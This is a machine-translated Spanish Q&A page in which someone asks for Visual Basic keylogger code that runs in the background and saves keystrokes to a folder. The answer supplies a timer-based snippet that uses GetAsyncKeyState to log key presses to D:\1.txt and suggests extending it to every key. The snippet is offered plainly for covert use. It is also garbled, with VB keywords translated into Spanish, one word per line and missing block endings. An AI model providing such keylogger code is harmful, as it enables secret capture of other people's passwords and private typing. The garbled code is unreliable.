Red de conocimiento informático - Problemas con los teléfonos móviles - ¿Código de registro de teclas VB? ¡Debe ejecutarse en segundo plano y almacenarse en la carpeta de destino especificada! ¡Por favor sea específico!

¿Código de registro de teclas VB? ¡Debe ejecutarse en segundo plano y almacenarse en la carpeta de destino especificada! ¡Por favor sea específico!

Déle un pequeño ejemplo, como registrar si se presiona una tecla y escribir el registrador de teclas en D:\1.txt después de presionar la tecla Intro

Privado

Declarar

Función

GetAsyncKeyState

Lib

"user32"

(ByVal

vKey

Como

Largo)

Como

Entero

tenue

s

como

cadena

sub

OK()

Abrir

" d: \1.txt"

Para

Salida

Como

#1

Imprimir

#1,

s

Cerrar

#1

final

sub

Privado

Sub

Timer1_Timer()

X

=

GetAsyncKeyState( 65)

Si

X

=

-32767

Entonces

s = s

+

"A"

X

=

GetAsyncKeyState(13)

Si

X

=

-32767

Entonces

Llame

OK

Desinstalar

Yo

Puedes mejorar este código para permitir que el control del temporizador registre todas las teclas del teclado. Si no lo entiendes, por favor pregúntame de nuevo.